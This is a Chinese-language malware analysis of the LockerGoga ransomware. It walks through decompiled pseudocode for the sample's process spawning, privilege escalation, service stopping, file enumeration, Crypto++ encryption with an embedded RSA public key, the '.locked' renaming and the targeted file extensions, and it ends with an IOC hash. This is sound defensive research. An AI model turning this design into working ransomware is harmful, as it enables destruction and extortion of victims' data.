LockerGoga分析

逆向病毒分析 2年前 (2022) admin
669 0 0


概述

LockerGoga是2019年3月发现的勒索病毒,该勒索病毒充分利用CPU的多核特性,尝试最高的加密效率。

详细分析

主函数

首先获取执行这个程序的命令行

cmd_line[4] = 0;
  v14 = 7;
  LOWORD(cmd_line[0]) = 0;
  v4 = GetCommandLineW();
  sub_10E8410(cmd_line, v4, wcslen(v4));
  sub_F58AE0(a1, cmd_line); // parse parameters

然后进入了sub_19b0,这个函数是程序主要逻辑,主要负责根据参数控制程序流

v10 = sub_10E19B0((int *)cmd_line, (int)&savedregs);

主要有以下参数

  v4 = sub_11214B0(v3, (int)"log,l""log");
  v5 = sub_11214B0(v4, (int)"master,m""master");
  v51 = sub_11214B0(v5, (int)"slave,s""slave");
//...
sub_11215C0(v51, (int)"ipc,i", (int)v6, "ipc");
//...

对于每一个参数,有如下的流程检查该参数是否存在

// 判断是否打印log
sub_10E8B90(v60, "log"3u);
byte_11FA480 = sub_10E3C40(v60) != 0;
// ...
sub_10E8B90(v60, "slave"5u); // 对于-s参数的处理
  v19 = sub_10E3C40(v60);
  //...
  if ( v19 )
  {
    v18 = 1// 设置标志位
  }else
  {
    v63 = 0;
    v64 = 15;
    LOBYTE(v60[0]) = 0;
    sub_10E8B90(v60, "master"6u); // 对于 -m参数
    v21 = sub_10E3C40(v60);
    // ...
    }
if ( !v21 )
    {
      v61 = sub_10E1040;
      sub_11035E0(v52);
      LOBYTE(v66) = 13;
      v23 = (int *)dword_11FA4D4;
      v51 = 0;
      v24 = *((_DWORD *)dword_11FA4D4 + 1);
      if ( *(_BYTE *)(v24 + 13) )
        goto LABEL_47;
      do
      {
        if ( *(int *)(v24 + 16) >= 0 )
        {
          v23 = (int *)v24;
          v24 = *(_DWORD *)v24;
        }
        else
        {
          v24 = *(_DWORD *)(v24 + 8);
        }
      }
      while ( !*(_BYTE *)(v24 + 13) );
if ( v23 == dword_11FA4D4 || v23[4] > 0 )
      {
LABEL_47:
        v51 = (int *)&v50;
        v25 = (void *)sub_1101830(dword_11FA4D4, &v51, dword_11FA4D4);
        sub_10FD390(v26, (int)&v51, (int)v23, (int)v25 + 16, v25);
      }
      sub_10EEFF0(&v60);
      LOBYTE(v66) = 7;
      sub_10E74C0(v61);
      v18 = 0// 如果有-m,则不使用-s
}

设置完参数之后,就根据参数执行不同的函数了

v61[1] = v18;
  v27 = v61;
  v61[0] = 3;
  v61[2] = 4;
  while ( v27 != &v61[3] )
  {
    v28 = dword_11FA4D4;
    v29 = *v27;
    v30 = (int *)*((_DWORD *)dword_11FA4D4 + 1);
    if ( *((_BYTE *)v30 + 13) )
      goto LABEL_68;
    do
    {
      if ( v30[4] >= v29 )
      {
        v28 = v30;
        v30 = (int *)*v30;
      }
      else
      {
        v30 = (int *)v30[2];
      }
    }
    while ( !*((_BYTE *)v30 + 13) );
    if ( v28 == dword_11FA4D4 || v29 < v28[4] )
LABEL_68:
      sub_1159C35("invalid map<K, T> key");
    v31 = v28[15];
    if ( !v31 )
      std::_Xbad_function_call();
    (*(void (__thiscall **)(int))(*(_DWORD *)v31 + 8))(v31); // 执行函数
    ++v27;
  }

无参数

调试得到无参数时调用的函数

int no_parameters_function_call()
{
  // ...

  v0 = GetCurrentProcess();
  if ( OpenProcessToken(v0, 0x28u, &TokenHandle) )
  {
    v4 = (LPCWSTR *)off_11D19D0;
    v5 = 0;
    v11 = &off_11D19E4 < (int *)off_11D19D0 ? 0 : 5;
    do
    {
      v6 = *v4;
// 调整权限
      if ( !LookupPrivilegeValueW(0, *v4, &Luid)
        || (NewState.Privileges[0].Luid = Luid,
            NewState.PrivilegeCount = 1,
            NewState.Privileges[0].Attributes = 2,
            !AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, 00)) )
      {
        v7 = sub_10E5F40(v6);
        sub_10EC590(v7, L":");
        v8 = GetLastError();
        v9 = sub_10E6130(v8);
        sub_10EDBF0(v9);
      }
      ++v5;
      ++v4;
    }
    while ( v5 != v11 );
    result = CloseHandle(TokenHandle);
  }
  else
  {
    v1 = GetLastError();
    v2 = sub_10E6130(v1);
    result = sub_10EDBF0(v2);
  }
  return result;
}

然后在sub_1040中创建了程序的一个副本为tgytutrc.exe

v9 = sub_10F2F10(v8, 0"tgytutrc"8u);
  v62 = 0i64;
  v61 = *(_OWORD *)v9;
  v62 = *(_QWORD *)(v9 + 16);
  *(_DWORD *)(v9 + 16) = 0;
  *(_DWORD *)(v9 + 20) = 15;
  *(_BYTE *)v9 = 0;
//...
if ( (unsigned int)(HIDWORD(v62) - v62) < 4 )
  {
    LOBYTE(v39) = 0;
    v12 = (__int128 *)sub_10F0440(&v61, 4, v39, ".exe"4u);
  }
  else
  {
    v10 = &v61;
    if ( HIDWORD(v62) >= 0x10 )
      v10 = (__int128 *)v61;
    v11 = (char *)v10 + v62;
    LODWORD(v62) = v62 + 4;
    memmove_0(v11, ".exe"4u);
    v11[4] = 0;
    v12 = &v61;
  }

然后执行cmd.exe

sub_10E8410(v50, L"cmd.exe"7); // memmove
  LOBYTE(v66) = 15;
  sub_10D7930(v31, v33);
  sub_10D82E0(v32, v34, v35);
  LOBYTE(v66) = 16;
  v24 = sub_1103020(v44, "/c");
  LOBYTE(v66) = 17;
  sub_11052D0(v24, L"move"L"/y", &dword_11EFBC8, v54, &unk_11D22B0); // 执行命令

添加-m参数

if ( a4 == a3 )
  {
    memmove(a3, L"-m");
  }
  else
  {
    *(_DWORD *)(a3 + 16) = 0;
    v28[4] = 0;
    v28[5] = 7;
    *(_WORD *)v28 = 0;
    sub_10E8410(v28, L"-m"2);
    a3 += 24;
  }

执行程序

sub_10FC500(v54, (int)v36, (int)v67, (int)&a2, (int)&unk_11D22B0);

其中使用_Execute_once执行命令

  sub_1103690(v17);
  if ( !std::_Execute_once((struct std::once_flag *)&unk_11FA40C, sub_10F35B0, &unk_11FA3A0) )
    terminate();

-m 参数

创建互斥量

_Xtime_get_ticks();
  v291 = CreateMutexA(00"MX-tgytutrc");
  v377 = 0;
  if ( !v291 )
  {
    v285 = GetLastError();
    sub_FBDCB0(&v285, a2);
    goto LABEL_164;
  }

创建用于遍历文件的线程

  v269 = &std::_LaunchPad<std::unique_ptr<std::tuple<_lambda_0baa76135a225331c4edd3553d1638b4_>>>::`vftable';
  v293 = 0;
  v273 = v32;
  LOBYTE(v377) = 19;
  v36 = _Thrd_start(&v289, sub_FA7810, &v269);

其中使用如下一系列语句记录日志

f_open(&v58, (int)"c:/.log"12, v53, v54);
    LOBYTE(v98) = 1;
    v3 = memcpy(&v58, "scanning...");
    mk_string((int)v3);
    f_out((char *)&v58);

sub_cf80获取磁盘盘符

_DWORD *__thiscall sub_FACF80(_DWORD *this)
{
  //...

  memset(Buffer, 0sizeof(Buffer));
  GetLogicalDriveStringsW(0x68u, Buffer);
  *this = 0;
  this[1] = 0;
  this[2] = 0;
  v16 = 0;
  v2 = Buffer;
  while ( 1 )
  {
    v12 = 0;
    v13 = 7;
    LOWORD(Block[0]) = 0;
    sub_FB8410(Block, v2, wcslen(v2));
    v16 = 1;
    if ( !v12 )
      break;
    sub_FB4650(lpRootPathName, Block);
    LOBYTE(v16) = 2;
    v2 += v12 + 1;
    v3 = (const WCHAR *)lpRootPathName;
    if ( v15 >= 8 )
      v3 = lpRootPathName[0];
    v4 = GetDriveTypeW(v3) - 1;
    if ( v4 && v4 != 4 )
    {
      v5 = (_DWORD *)this[1];
      if ( (_DWORD *)this[2] == v5 )
      {
        sub_FBDA50((int)v5, lpRootPathName);
      }
      else
      {
        sub_FB4650(v5, lpRootPathName);
        this[1] += 24;
      }
    }
    LOBYTE(v16) = 1;
    if ( v15 >= 8 )
    {
      v6 = (WCHAR *)lpRootPathName[0];
      if ( 2 * v15 + 2 >= 0x1000 )
      {
        v6 = (WCHAR *)*((_DWORD *)lpRootPathName[0] - 1);
        if ( (unsigned int)((char *)lpRootPathName[0] - (char *)v6 - 4) > 0x1F )
          goto LABEL_25;
      }
      free(v6);
    }
    LOBYTE(v16) = 0;
    LOWORD(lpRootPathName[0]) = 0;
    v15 = 7;
    lpRootPathName[4] = 0;
    if ( v13 >= 8 )
    {
      v7 = Block[0];
      if ( 2 * v13 + 2 >= 0x1000 )
      {
        v7 = (void *)*((_DWORD *)Block[0] - 1);
        if ( (unsigned int)(Block[0] - v7 - 4) > 0x1F )
          goto LABEL_25;
      }
      free(v7);
    }
    if ( v2 == (WCHAR *)Block )
      return this;
  }
  if ( v13 >= 8 )
  {
    v8 = Block[0];
    if ( 2 * v13 + 2 >= 0x1000 )
    {
      v8 = (void *)*((_DWORD *)Block[0] - 1);
      if ( (unsigned int)(Block[0] - v8 - 4) > 0x1F )
LABEL_25:
        _invalid_parameter_noinfo_noreturn();
    }
    free(v8);
  }
  return this;
}

扫描文件

 v11 = (_DWORD *)sub_FA51B0(v61, v88, &v82);
      v12 = (_DWORD *)v10[1];

sub_51b0遍历目录

mk_string0(v19, v5, wcslen((const unsigned __int16 *)v5));
    v6 = *(_DWORD **)a1;
    LOBYTE(v23) = 1;
    findFirstFile((int)&v17, (int)(v6 + 10), v19, (int)Src, (int)&v14, (int)&v12);
    LOBYTE(v23) = 0;
    sub_FA4B10(v19);
    if ( v18 )
    {
      sub_FFAB10(a1);
      sub_FFA270(v17, a2, a3, "boost::filesystem::directory_iterator::construct");
    }
    else if ( *(_DWORD *)(*(_DWORD *)a1 + 40) )
    {
      sub_FB4650(v19, Src);
      LOBYTE(v23) = 2;
      v7 = sub_FA4C00((int)v16, a2, (int)v19);
      v8 = *(_DWORD **)a1;
      LOBYTE(v23) = 3;
      if ( v8 != (_DWORD *)v7 )
      {
        v9 = (void *)v7;
        if ( *(_DWORD *)(v7 + 20) >= 8u )
          v9 = *(void **)v7;
        mk_string0(v8, v9, *(_DWORD *)(v7 + 16));
      }
      v8[6] = v14;
      v8[7] = v15;
      v8[8] = v12;
      v8[9] = v13;
      sub_FA4B10(v16);
      LOBYTE(v23) = 0;
      sub_FA4B10(v19);
      v10 = Src;
      if ( v22 >= 8 )
        v10 = (int *)Src[0];
      if ( *(_WORD *)v10 == 46 )
      {
        if ( v21 == 1 )
          goto LABEL_22;
        v11 = Src;
        if ( v22 >= 8 )
          v11 = (int *)Src[0];
        if ( *((_WORD *)v11 + 1) == 46 && v21 == 2 )
LABEL_22:
          FindNextFile(a1, a3);
      }

判断文件是否是可执行文件

mk_string0(v15, FindFileData.cFileName, wcslen(FindFileData.cFileName));
      LOBYTE(v21) = 1;
      *(_DWORD *)(a5 + 4) = sub_FFA600(v15, FindFileData.dwFileAttributes);
      sub_FA4B10(v15);
      *(_DWORD *)(a6 + 4) = *(_DWORD *)(a5 + 4);

获取处理器数量

DWORD get_processor_num()
{
  struct _SYSTEM_INFO SystemInfo; // [esp+0h] [ebp-24h] BYREF

  GetNativeSystemInfo(&SystemInfo);
  return SystemInfo.dwNumberOfProcessors;
}

创建不大于处理器数量的子进程

v43 = get_processor_num();
  v44 = v43 + 1;
  v296 = v43 + 1;
  if ( v43 != -1 )
  {
    if ( v44 > 0x3FFFFFFF )
      sub_FB6EB0();
    sub_FB6EC0(v43 + 1);
    v42 = v298;
    v44 = v296;
  }
  for ( i = 0; ; i = v306 + 1 )
  {
    v306 = i;
    if ( (unsigned int)i >= v44 )
      break;
    v46 = operator new(0x80u);
    v293 = v46;
    v282 = v46;
    LOBYTE(v377) = 23;
    sub_FB4650(v46, &dword_10BFBC8);
    v46[6] = &std::_Func_impl_no_alloc<_lambda_0a67aa7357a228a51e17c83368d58874_,boost::process::child,>::`vftable';
    v46[7] = v46;
    v46[15] = v46 + 6;
    LOBYTE(v377) = 25;
    v283 = (unsigned int)(v46 + 16);
    if ( v46 == (_DWORD *)-24 )
      std::_Xbad_function_call();
    sub_FAAF90(v46 + 16); // 使用-i和-s创建进程

设置-i和-s参数

sub_FCB3A0("-i", &dword_10BFBB0, "-s", &v17, v18); // dword_10bfbb0='SM-tgytutrc'

创建进程

 v5 = CreateProcessA(
           *(LPCSTR *)(this + 108),
           *(LPSTR *)(this + 104),
           *(LPSECURITY_ATTRIBUTES *)(this + 88),
           *(LPSECURITY_ATTRIBUTES *)(this + 92),
           *(_DWORD *)(this + 96),
           *(_DWORD *)this,
           *(LPVOID *)(this + 112),
           *(LPCSTR *)(this + 100),
           (LPSTARTUPINFOA)(this + 4),
           (LPPROCESS_INFORMATION)(this + 120));

监测子进程状态

while ( 2 )
  {
    v51 = ReleaseMutex;
    v52 = (void (__stdcall *)())GetLastError;
LABEL_92:
    sub_F83B80(&v237);
    v312 = v242 == 0;
    LOBYTE(v381) = 29;
    v53 = v298;
    v54 = _InterlockedExchangeAdd(v298, 0x80000000);
    if ( (v54 & 0x40000000) == 0 && v54 != 0x80000000 && !_interlockedbittestandset(v53, 0x1Eu) )
    {
      v55 = (void *)sub_F78630(v194, v195);
      SetEvent(v55);
    }
    LOBYTE(v381) = 28;
    if ( !v312 || !v307 )
    {
      v105 = v301;
      v106 = (int)v302;
      while ( v105 != (void **)v106 )
        sub_F7B1B0(*v105++);
      v107 = WaitForSingleObject(v295, 0x32u);
      if ( v107 == 128 )
      {
        sub_F71B00("failed to lock mutex");
        _CxxThrowException(&v205, (_ThrowInfo *)&_TI1_AVexception_std__);
      }

查看子进程是否存活

v21 = (int)&unk_109A3A0;
    result = sub_F76700(v2, (DWORD *)&v20);
    if ( v20 )
    {
      sub_F76210("running error", v20, v21);
      _CxxThrowException(pExceptionObject, (_ThrowInfo *)&_TI5_AUprocess_error_process_boost__);
    }

获取子进程退出的原因,并且根据这个原因做相应的动作

if ( !*(_DWORD *)this || *(_DWORD *)this == -1 || *(_BYTE *)(this + 25) || **(_DWORD **)(this + 16) != 0x103 )
    return 0;
  if ( !GetExitCodeProcess(*(HANDLE *)this, &ExitCode) )
  {
    if ( std::_Execute_once((struct std::once_flag *)&unk_109A40C, sub_F935B0, &unk_109A3A0) )
    {
      *a2 = GetLastError();
      a2[1] = (DWORD)&unk_109A3A0;
      goto LABEL_10;
    }
LABEL_17:
    terminate();
  }
  *a2 = 0;
  if ( !std::_Execute_once((struct std::once_flag *)&unk_109A40C, sub_F935B0, &unk_109A3A0) )
    goto LABEL_17;
  a2[1] = (DWORD)&unk_109A3A0;
LABEL_10:
  if ( ExitCode == 259 )
    return 1;

如果不存活,则关闭handle,并使用sub_af90重新创建进程

if ( result )
      return result;
    v4 = v1[15];
    if ( !v4 )
      std::_Xbad_function_call();
    sub_F7AF90((_DWORD *)(v4 + 4), (int)hProcess);
    CloseHandle(*(HANDLE *)v2);
    CloseHandle(*(HANDLE *)(v2 + 4));

-s参数

打开互斥量,如果失败则退出程序

hHandle = OpenMutexA(0x1F0001u, 0"MX-tgytutrc");
  i = 0;
  if ( !hHandle )
  {
    v74 = GetLastError();
    sub_F8DCB0((int *)&v74, a1);
    goto LABEL_81;
  }
//...
LABEL_81:
  result = hHandle;
  if ( hHandle )
    result = (HANDLE)CloseHandle(hHandle);
  return result;

从父进程读取要加密的文件夹,使用base64解密

v4 = WaitForSingleObject(hHandle, 0x2710u);
//...
v80 = &CryptoPP::StringSource::`vftable';
//...
((void (__thiscall *)(void ***))v80[8])(&v80);
      ((void (__thiscall *)(void ***, int))v80[50])(&v80, 1); // base64解码
//...

加载相关API

if ( dword_109A6BC )
  {
    if ( (result & 2) == 0 )
    {
      dword_109A6B8 = result | 2;
      v39 = 5;
      *(_DWORD *)RmStartSession = load_library(&dword_109A6BC, "RmStartSession");
      v39 = -1;
      result = dword_109A6B8;
    }
    if ( (result & 4) == 0 )
    {
      dword_109A6B8 = result | 4;
      v39 = 6;
      *(_DWORD *)RmRegisterResources = load_library(&dword_109A6BC, "RmRegisterResources");
      v39 = -1;
      result = dword_109A6B8;
    }
    if ( (result & 8) == 0 )
    {
      dword_109A6B8 = result | 8;
      v39 = 7;
      *(_DWORD *)RmGetList = load_library(&dword_109A6BC, "RmGetList");
      v39 = -1;
    }

判断文件是否有进程占用,如果有则等待进程退出

    memset(v38, 00x42u);
    result = RmStartSession(&pSessionHandle, 0, v38);
    if ( !result )
    {
      if ( this[5] >= 8u )
        this = (_DWORD *)*this;
      rgsFileNames = (LPCWSTR)this;
      result = RmRegisterResources(pSessionHandle, 1u, &rgsFileNames, 0000);
      if ( !result )
      {
        v27 = 0;
        v29 = 0;
        v30 = 0;
        sub_FB4E90(v20, v21);
        v39 = 8;
        v10 = RmGetList(pSessionHandle, &v29, &v30, v35, &v27);
        if ( !v10 || v10 == 234 )
        {
          if ( v29 )
          {
            v30 = v29;
            sub_FB4F60(v29, &v35);
            if ( !RmGetList(pSessionHandle, &v29, &v30, v35, &v27) )
            {
              v11 = v35;
              for ( i = v36; v11 != i; ++v11 )
              {
v12 = OpenProcess(1u0, *v11);
                v24 = v12;
                if ( v12 )
                {
                  sub_F84600(lpServiceName, v11 + 131);
                  v13 = OpenSCManagerW(005u);
                  v14 = v13;
                  v25 = v13;
                  if ( v13 )
                  {
                    v15 = (const WCHAR *)lpServiceName;
                    if ( v33 >= 8 )
                      v15 = lpServiceName[0];
                    v16 = OpenServiceW(v13, v15, 0x2Cu);
                    v17 = v16;
                    if ( v16 )
                    {
                      sub_FB47F0(v16, v14);
                      ControlService(v17, 1u, &ServiceStatus);
                      v18 = GetTickCount();
                      if ( ServiceStatus.dwCurrentState != 1 )
                      {
                        do
                          Sleep(ServiceStatus.dwWaitHint)
;
                        while ( QueryServiceStatusEx(
                                  v17,
                                  SC_STATUS_PROCESS_INFO,
                                  (LPBYTE)&ServiceStatus,
                                  0x24u,
                                  &pcbBytesNeeded)
                             && ServiceStatus.dwCurrentState != 1
                             && GetTickCount() - v18 <= 0x1388
                             && ServiceStatus.dwCurrentState != 1 );
                      }
                      CloseServiceHandle(v17);
                      v14 = v25;
                    }
                    CloseServiceHandle(v14);

加载相关API

if ( dword_109A69C )
  {
    if ( (v4 & 2) == 0 )
    {
      dword_109A6B0 = v4 | 2;
      LOBYTE(v162) = 5;
      dword_109A6A8 = (int)load_library(&dword_109A69C, "NtOpenFile");
      LOBYTE(v162) = 1;
      v4 = dword_109A6B0;
    }
    if ( (v4 & 4) == 0 )
    {
      dword_109A6B0 = v4 | 4;
      LOBYTE(v162) = 6;
      dword_109A6AC = (int)load_library(&dword_109A69C, "NtClose");
      LOBYTE(v162) = 1;
      v4 = dword_109A6B0;
    }
    if ( (v4 & 8) == 0 )
    {
      dword_109A6B0 = v4 | 8;
      LOBYTE(v162) = 7;
      dword_109A698 = (int)load_library(&dword_109A69C, "NtReadFile");
      LOBYTE(v162) = 1;
      v4 = dword_109A6B0;
    }
    if ( (v4 & 0x10) == 0 )
    {
      dword_109A6B0 = v4 | 0x10;
      LOBYTE(v162) = 8;
      dword_109A6B4 = (int)load_library(&dword_109A69C, "NtWriteFile");
      LOBYTE(v162) = 1;
      v4 = dword_109A6B0;
    }
    if ( (v4 & 0x20) == 0 )
    {
      dword_109A6B0 = v4 | 0x20;
      LOBYTE(v162) = 9;
      dword_109A6A0 = (int)load_library(&dword_109A69C, "RtlInitUnicodeString");
      LOBYTE(v162) = 1;
    }

生成随机数

if ( !CryptGenRandom(*v3, dwLen, pbBuffer) )
  {
    sub_F84B00(v7, "CryptGenRandom");
    LOBYTE(v8) = 1;
    sub_FEA3B0(v7);
    _CxxThrowException(pExceptionObject, (_ThrowInfo *)&_TI3_AVOS_RNG_Err_CryptoPP__);
  }
  result = hProv;
  if ( hProv )
    result = CryptReleaseContext(hProv, 0);
  return result

加载硬编码的公钥

sub_F79C80(
      " MIGdMA0GCSqGSIb3DQEBAQUAA4GLADCBhwKBgQDLscAMf6QMU0OLT967Q0oMVN/9xRbC6Ymz HVVE05zgpDJRQQLmPPYcPnehaeynF8HGFYbRIEaD"
      "0pk4WZwGPLtcRaYuQS1M6v+2j4Vp8faA woNdi7+jI2xw0kQao29FJ8WUQDvrPqODALf8bjiOIO7f1Nc5g9vOEbWyCA1w/vbaVwIBEQ==",
      0xDBu,
      0);

添加.locked后缀

   open_file((int)v112, lpFileName, (int)&v138);
    LOBYTE(v162) = 22;
    set_file_attr(lpFileName, 438, (int)&v138);
    LOBYTE(v162) = 21;
    add_suffix(Src, (void *)lpFileName, L".locked", v74);
    LOBYTE(v162) = 23;
    sub_F84650(NewFileName, Src);
    LOBYTE(v162) = 24;
    remove_file(NewFileName, (int)&v138);
//...
sub_F84650(NewFileName, Src);
    LOBYTE(v162) = 25;
    moveFile(lpFileName, NewFileName, 0);

加密文件

InitKey((unsigned int *)&v156, v67, v68);
      LOBYTE(v160) = 27;
      mk_algorithm(v78, (int)&v130[7], v31, (int)&v130[3]);
      LOBYTE(v160) = 28;
      v32 = v130[0];
      v33 = v130[1];
      *(_QWORD *)v120 = 0i64;
      v34 = 0;
      v35 = 0;
      v118 = v130[0];
      for ( i = v130[1]; ; v33 = i )
      {
        v124 = v35;
        v122 = (unsigned int)v34;
        if ( (unsigned int)v34 > v33 || (unsigned int)v34 >= v33 && v35 >= v32 )
          break;
        v36 = v32 - v35;
        if ( __PAIR64__(v33, v32) - __PAIR64__((unsigned int)v34, v35) > 0x10000 )
          v36 = 0x10000;
        ((void (__cdecl *)(HANDLE, _DWORD, _DWORD, _DWORD, struct _IO_STATUS_BLOCK *, intint, _DWORD, _DWORD))NtReadFile)(
          Handle,
          0,
          0,
          0,
          &IoStatusBlock,
          v156,
          v36,
          0,
          0);
        encrypt(v121, (unsigned __int8 *)v156, v36);
        //...
        v66 = StreamTransformationFilter(v52, (int)v92, (int)v53, 5);
        LOBYTE(v160) = 35;
        sub_F7A8A0(v139, v123, v36, v54, (int)v66);
        v139[0] = (int)&CryptoPP::SourceTemplate<CryptoPP::StringStore>::`vftable';
        v139[1] = (int)&CryptoPP::SourceTemplate<CryptoPP::StringStore>::`vftable';
        //...
        ((void (__cdecl *)(HANDLE, _DWORD, _DWORD, _DWORD, struct _IO_STATUS_BLOCK *, intintint *, _DWORD))NtWriteFile)(
          Handle,
          //...
          0);
        v35 = v111;
        v34 = (char *)v119;
        v32 = v118;
      }
      //...
      v61 = ((int (__thiscall *)(void ***, int *, _DWORD, int (__thiscall ***)(void *, char)))v74[7])(
              &v74,
              &dword_109A548,
              0,
              off_108F038);
      sub_FD0F10(v61, 00, v60);
      *v58 = &CryptoPP::PK_EncryptorFilter::`vftable';
      v58[1] = &CryptoPP::PK_EncryptorFilter::`vftable';
      LOBYTE(v160) = 28;
      sub_F7A8A0(v127, (int)&v130[2], 40, v62, (int)v58);
      LOBYTE(v160) = 40;
      ((void (__cdecl *)(HANDLE, _DWORD, _DWORD, _DWORD, struct _IO_STATUS_BLOCK *, int *, int, _DWORD, _DWORD))NtWriteFile)(
        Handle,
        //...
        0);
      NtClose(Handle);

将goga添加到文件末尾

v130[11] = 'agog';
//...
if ( (unsigned int)v37 >= i && ((unsigned int)v37 > i || v124 + 0x10000 >= v118) )
        {
          sub_FB3560(&v156, v36 + 4, (int)&v156);
          v123 = v156;
          v38 = *(int (**)())(v121[0] + 32);
          v116 = *(int (__thiscall ****)(void *, char))(v121[0] + 60);
          if ( v38 == sub_FB1CE0 )
            v39 = 20;
          else
            v39 = ((int (__thiscall *)(int *))v38)(v121);
          ((void (__thiscall *)(int *, intint))v116)(v121, v36 + v123, v39);
          v36 += 4;
        }

加密的文件类型

  if ( (dword_109A630 & 2) == 0 )
  {
    dword_109A630 |= 2u;
    v161 = 6;
    v59 = 0;
    v60 = 15;
    v58[0] = 0;
    sub_F88B90(v58, ".doc"4u);
    LOBYTE(v161) = 7;
    v62 = 0;
    v63 = 15;
    v61[0] = 0;
    sub_F88B90(v61, ".dot"4u);
    LOBYTE(v161) = 8;
    v65 = 0;
    v66 = 15;
    v64[0] = 0;
    sub_F88B90(v64, ".docx"5u);
    LOBYTE(v161) = 9;
    v68 = 0;
    v69 = 15;
    v67[0] = 0;
    sub_F88B90(v67, ".docb"5u);
    LOBYTE(v161) = 10;
    v71 = 0;
    v72 = 15;
    v70[0] = 0;
    sub_F88B90(v70, ".dotx"5u);
    LOBYTE(v161) = 11;
    v74 = 0;
    v75 = 15;
    v73[0] = 0;
    sub_F88B90(v73, "dotb"4u);
    LOBYTE(v161) = 12;
    v77 = 0;
    v78 = 15;
    v76[0] = 0;
    sub_F88B90(v76, ".wkb"4u);
    LOBYTE(v161) = 13;
    v80 = 0;
    v81 = 15;
    v79[0] = 0;
    sub_F88B90(v79, ".xml"4u);
    LOBYTE(v161) = 14;
    v83 = 0;
    v84 = 15;
    v82[0] = 0;
    sub_F88B90(v82, ".xls"4u);
    LOBYTE(v161) = 15;
    v86 = 0;
    v87 = 15;
    v85[0] = 0;
    sub_F88B90(v85, ".xlsx"5u);
    LOBYTE(v161) = 16;
    v89 = 0;
    v90 = 15;
    v88[0] = 0;
    sub_F88B90(v88, ".xlt"4u);
    LOBYTE(v161) = 17;
    v92 = 0;
    v93 = 15;
    v91[0] = 0;
    sub_F88B90(v91, ".xltx"5u);
    LOBYTE(v161) = 18;
    v95 = 0;
    v96 = 15;
    v94[0] = 0;
    sub_F88B90(v94, ".xlsb"5u);
    LOBYTE(v161) = 19;
    v98 = 0;
    v99 = 15;
    v97[0] = 0;
    sub_F88B90(v97, ".xlw"4u);
    LOBYTE(v161) = 20;
    v101 = 0;
    v102 = 15;
    v100[0] = 0;
    sub_F88B90(v100, ".ppt"4u);
    LOBYTE(v161) = 21;
    v104 = 0;
    v105 = 15;
    v103[0] = 0;
    sub_F88B90(v103, ".pps"4u);
    LOBYTE(v161) = 22;
    v107 = 0;
    v108 = 15;
    v106[0] = 0;
    sub_F88B90(v106, ".pot"4u);
    LOBYTE(v161) = 23;
    v110 = 0;
    v111 = 15;
    v109[0] = 0;
    sub_F88B90(v109, ".ppsx"5u);
    LOBYTE(v161) = 24;
    v113 = 0;
    v114 = 15;
    v112[0] = 0;
    sub_F88B90(v112, ".pptx"5u);
    LOBYTE(v161) = 25;
    v116 = 0;
    v117 = 15;
    v115[0] = 0;
    sub_F88B90(v115, ".posx"5u);
    LOBYTE(v161) = 26;
    v119 = 0;
    v120 = 15;
    v118[0] = 0;
    sub_F88B90(v118, ".potx"5u);
    LOBYTE(v161) = 27;
    v122 = 0;
    v123 = 15;
    v121[0] = 0;
    sub_F88B90(v121, ".sldx"5u);
    LOBYTE(v161) = 28;
    v125 = 0;
    v126 = 15;
    v124[0] = 0;
    sub_F88B90(v124, ".pdf"4u);
    LOBYTE(v161) = 29;
    v128 = 0;
    v129 = 15;
    v127[0] = 0;
    sub_F88B90(v127, ".db"3u);
    LOBYTE(v161) = 30;
    v131 = 0;
    v132 = 15;
    v130[0] = 0;
    sub_F88B90(v130, ".sql"4u);
    LOBYTE(v161) = 31;
    v134 = 0;
    v135 = 15;
    v133[0] = 0;
    sub_F88B90(v133, ".cs"3u);
    LOBYTE(v161) = 32;
    v137 = 0;
    v138 = 15;
    v136[0] = 0;
    sub_F88B90(v136, ".ts"3u);
    LOBYTE(v161) = 33;
    v140 = 0;
    v141 = 15;
    v139[0] = 0;
    sub_F88B90(v139, ".js"3u);
    LOBYTE(v161) = 34;
    v143 = 0;
    v144 = 15;
    v142[0] = 0;
    sub_F88B90(v142, ".py"3u);

IOCs

file name md5
LokerGoga.exe e11502659f6b5c5bd9f78f534bc38fea

参考资料

[1] https://blog.360totalsecurity.com/en/lockergoga-ransomware-detailed-analysis-targeted-efficient-destructive-attacks/

[2] https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=8884472

[3] https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-adjusttokenprivileges

[4] 该病毒使用这个项目加密 https://github.com/doo/cryptopp/

[5] https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntwritefile

end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]



LockerGoga分析


原文始发于微信公众号(ChaMd5安全团队):LockerGoga分析

版权声明:admin 发表于 2022年3月3日 上午8:00。
转载请注明:LockerGoga分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...